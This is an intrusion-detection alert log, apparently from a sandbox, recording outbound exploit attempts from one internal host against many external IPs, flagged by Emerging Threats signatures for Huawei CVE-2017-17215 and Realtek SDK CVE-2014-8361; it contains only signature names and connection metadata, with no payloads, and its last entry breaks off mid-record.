ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 87.22.11.17

Timestamp:	07/20/24-23:01:04.981879
SID:	2027339
Source Port:	41528
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 62.132.204.169

Timestamp:	07/20/24-23:01:36.781770
SID:	2835222
Source Port:	49162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 197.5.41.2

Timestamp:	07/20/24-23:01:19.942832
SID:	2027339
Source Port:	47088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 135.53.17.181

Timestamp:	07/20/24-23:01:32.203847
SID:	2835222
Source Port:	33510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.113.123.195

Timestamp:	07/20/24-23:01:15.000722
SID:	2835222
Source Port:	35926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.33.122.169

Timestamp:	07/20/24-23:01:22.812907
SID:	2829579
Source Port:	60632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.228.125.161

Timestamp:	07/20/24-23:01:25.388961
SID:	2829579
Source Port:	56430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.110.61.47

Timestamp:	07/20/24-23:01:24.625525
SID:	2829579
Source Port:	50534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.93.78.184

Timestamp:	07/20/24-23:01:12.487419
SID:	2835222
Source Port:	45932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.167.157.60

Timestamp:	07/20/24-23:01:36.796105
SID:	2829579
Source Port:	52994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 47.21.202.187

Timestamp:	07/20/24-23:01:06.005329
SID:	2027339
Source Port:	52282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.132.133.64

Timestamp:	07/20/24-23:01:06.806392
SID:	2835222
Source Port:	52828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 218.4.141.45

Timestamp:	07/20/24-23:01:27.366829
SID:	2831300
Source Port:	38852
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 47.59.243.141

Timestamp:	07/20/24-23:01:32.208939
SID:	2835222
Source Port:	39912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 180.204.53.247

Timestamp:	07/20/24-23:01:25.389819
SID:	2829579
Source Port:	57724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.235.7.59

Timestamp:	07/20/24-23:01:27.269293
SID:	2835222
Source Port:	44822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 103.163.69.80

Timestamp:	07/20/24-23:01:32.206772
SID:	2829579
Source Port:	47640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 59.49.93.128

Timestamp:	07/20/24-23:01:32.199687
SID:	2829579
Source Port:	46120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 101.124.61.221

Timestamp:	07/20/24-23:01:36.785490
SID:	2835222
Source Port:	57676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 47.14.186.72

Timestamp:	07/20/24-23:01:14.544045
SID:	2831300
Source Port:	40044
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.206.24.104

Timestamp:	07/20/24-23:01:06.800702
SID:	2835222
Source Port:	33012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 188.226.47.52

Timestamp:	07/20/24-23:01:14.513053
SID:	2027339
Source Port:	32854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.101.194.182

Timestamp:	07/20/24-23:01:04.858015
SID:	2829579
Source Port:	47418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 213.81.191.191

Timestamp:	07/20/24-23:01:36.847780
SID:	2835222
Source Port:	43534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.130.192.147

Timestamp:	07/20/24-23:01:04.892375
SID:	2835222
Source Port:	41596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 97.114.117.29

Timestamp:	07/20/24-23:01:14.523933
SID:	2831300
Source Port:	56128
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 194.111.111.55

Timestamp:	07/20/24-23:01:19.619749
SID:	2027339
Source Port:	58820
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.196.220.157

Timestamp:	07/20/24-23:01:08.449909
SID:	2829579
Source Port:	52252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 49.127.162.145

Timestamp:	07/20/24-23:01:06.820921
SID:	2835222
Source Port:	55636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 128.199.8.22

Timestamp:	07/20/24-23:01:07.314840
SID:	2027339
Source Port:	56284
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 97.62.197.167

Timestamp:	07/20/24-23:01:20.606081
SID:	2025132
Source Port:	37082
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 60.215.234.238

Timestamp:	07/20/24-23:01:27.352785
SID:	2027339
Source Port:	35708
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 159.48.133.27

Timestamp:	07/20/24-23:01:21.640040
SID:	2027339
Source Port:	60348
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 213.139.43.137

Timestamp:	07/20/24-23:01:14.513824
SID:	2027339
Source Port:	41742
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 141.91.69.128

Timestamp:	07/20/24-23:01:12.490733
SID:	2829579
Source Port:	55644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.177.137.53

Timestamp:	07/20/24-23:01:27.277398
SID:	2835222
Source Port:	54598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 89.57.196.100

Timestamp:	07/20/24-23:01:14.523933
SID:	2027339
Source Port:	48456
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.124.222.24

Timestamp:	07/20/24-23:00:59.020509
SID:	2835222
Source Port:	58098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.168.76.154

Timestamp:	07/20/24-23:00:59.020403
SID:	2829579
Source Port:	41716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 219.208.149.193

Timestamp:	07/20/24-23:01:07.348663
SID:	2027339
Source Port:	50388
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 38.115.42.6

Timestamp:	07/20/24-23:01:22.810997
SID:	2835222
Source Port:	55076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.196.243.220

Timestamp:	07/20/24-23:01:25.390311
SID:	2835222
Source Port:	57958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.174.97.64

Timestamp:	07/20/24-23:01:04.853128
SID:	2829579
Source Port:	38688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 88.21.18.99

Timestamp:	07/20/24-23:01:06.798722
SID:	2829579
Source Port:	37822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.24.233.95

Timestamp:	07/20/24-23:01:12.553660
SID:	2829579
Source Port:	60812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.190.172.118

Timestamp:	07/20/24-23:00:59.020587
SID:	2835222
Source Port:	60718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 80.226.91.150

Timestamp:	07/20/24-23:01:04.572286
SID:	2025132
Source Port:	46442
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 195.228.120.248

Timestamp:	07/20/24-23:01:14.546238
SID:	2831300
Source Port:	42016
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 98.113.228.216

Timestamp:	07/20/24-23:01:27.366829
SID:	2831300
Source Port:	34996
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 90.118.180.212

Timestamp:	07/20/24-23:01:02.661070
SID:	2829579
Source Port:	33836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 168.61.125.85

Timestamp:	07/20/24-23:01:14.539078
SID:	2831300
Source Port:	46688
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.101.180.110

Timestamp:	07/20/24-23:01:25.389085
SID:	2829579
Source Port:	39650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 120.12.100.82

Timestamp:	07/20/24-23:01:25.389455
SID:	2829579
Source Port:	34806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.138.203.32

Timestamp:	07/20/24-23:00:59.021587
SID:	2835222
Source Port:	58158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 123.80.84.34

Timestamp:	07/20/24-23:01:32.203847
SID:	2835222
Source Port:	59048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.214.55.135

Timestamp:	07/20/24-23:00:59.019559
SID:	2835222
Source Port:	38980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 209.200.229.61

Timestamp:	07/20/24-23:01:14.521013
SID:	2027339
Source Port:	59240
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.169.214.128

Timestamp:	07/20/24-23:01:22.737455
SID:	2835222
Source Port:	49236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.154.111.104

Timestamp:	07/20/24-23:01:06.798920
SID:	2835222
Source Port:	57556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 187.26.97.109

Timestamp:	07/20/24-23:01:27.354360
SID:	2831300
Source Port:	37072
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 51.138.200.142

Timestamp:	07/20/24-23:01:12.485954
SID:	2829579
Source Port:	46684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.169.135.127

Timestamp:	07/20/24-23:01:22.753217
SID:	2835222
Source Port:	54918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 57.53.68.209

Timestamp:	07/20/24-23:01:14.569004
SID:	2831300
Source Port:	60566
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.35.252.89

Timestamp:	07/20/24-23:00:59.022701
SID:	2835222
Source Port:	35044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 23.208.206.64

Timestamp:	07/20/24-23:01:08.464559
SID:	2829579
Source Port:	38700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 72.110.150.184

Timestamp:	07/20/24-23:01:12.553660
SID:	2835222
Source Port:	33212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 203.43.242.224

Timestamp:	07/20/24-23:01:22.819749
SID:	2829579
Source Port:	45862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.33.115.94

Timestamp:	07/20/24-23:01:36.793382
SID:	2835222
Source Port:	43100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.31.98.182

Timestamp:	07/20/24-23:01:36.781974
SID:	2829579
Source Port:	37660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.181.19.73

Timestamp:	07/20/24-23:01:02.603717
SID:	2829579
Source Port:	43246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 14.145.220.146

Timestamp:	07/20/24-23:01:04.853320
SID:	2835222
Source Port:	47924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 124.217.207.199

Timestamp:	07/20/24-23:01:27.358599
SID:	2027339
Source Port:	57136
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.199.241.114

Timestamp:	07/20/24-23:01:08.368788
SID:	2835222
Source Port:	34154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 168.69.38.135

Timestamp:	07/20/24-23:01:14.526400
SID:	2027339
Source Port:	53100
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.240.222.9

Timestamp:	07/20/24-23:01:32.199687
SID:	2835222
Source Port:	52372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 189.108.39.158

Timestamp:	07/20/24-23:01:27.355018
SID:	2831300
Source Port:	36084
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.188.72.175

Timestamp:	07/20/24-23:01:12.485458
SID:	2829579
Source Port:	34512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.41.160.20

Timestamp:	07/20/24-23:01:22.809590
SID:	2829579
Source Port:	36608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 198.95.42.42

Timestamp:	07/20/24-23:01:06.621773
SID:	2027339
Source Port:	36064
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 207.192.171.160

Timestamp:	07/20/24-23:01:20.497462
SID:	2027339
Source Port:	45004
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 13.146.164.210

Timestamp:	07/20/24-23:01:14.551639
SID:	2027339
Source Port:	55898
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.39.134.254

Timestamp:	07/20/24-23:01:02.613456
SID:	2829579
Source Port:	44970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.7.215.215

Timestamp:	07/20/24-23:01:12.492810
SID:	2835222
Source Port:	35366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 77.182.150.37

Timestamp:	07/20/24-23:01:05.766789
SID:	2027339
Source Port:	55584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 158.90.117.175

Timestamp:	07/20/24-23:01:07.257620
SID:	2025132
Source Port:	39972
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.62.121.121

Timestamp:	07/20/24-23:01:27.306441
SID:	2829579
Source Port:	59528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.42.236.252

Timestamp:	07/20/24-23:00:59.022701
SID:	2829579
Source Port:	40306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 148.238.53.45

Timestamp:	07/20/24-23:01:27.353289
SID:	2831300
Source Port:	45900
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.183.121.78

Timestamp:	07/20/24-23:01:08.419092
SID:	2829579
Source Port:	37310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.191.77.209

Timestamp:	07/20/24-23:01:04.892375
SID:	2835222
Source Port:	47646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.183.116.207

Timestamp:	07/20/24-23:01:12.356929
SID:	2829579
Source Port:	44614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 60.17.2.252

Timestamp:	07/20/24-23:01:14.556193
SID:	2831300
Source Port:	59432
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.246.70.194

Timestamp:	07/20/24-23:01:25.389741
SID:	2829579
Source Port:	58482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 77.11.226.101

Timestamp:	07/20/24-23:01:27.352658
SID:	2831300
Source Port:	46798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.196.5.149

Timestamp:	07/20/24-23:01:12.356738
SID:	2835222
Source Port:	54774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.195.201.112

Timestamp:	07/20/24-23:01:02.601732
SID:	2829579
Source Port:	38052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 130.158.185.94

Timestamp:	07/20/24-23:01:22.810316
SID:	2835222
Source Port:	47260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.171.85.198

Timestamp:	07/20/24-23:01:32.250506
SID:	2835222
Source Port:	36522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 160.161.205.189

Timestamp:	07/20/24-23:01:14.559132
SID:	2831300
Source Port:	44004
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.24.52.3

Timestamp:	07/20/24-23:00:59.023270
SID:	2829579
Source Port:	35012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.146.212.204

Timestamp:	07/20/24-23:01:36.798333
SID:	2835222
Source Port:	48614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.67.33.5

Timestamp:	07/20/24-23:01:32.262033
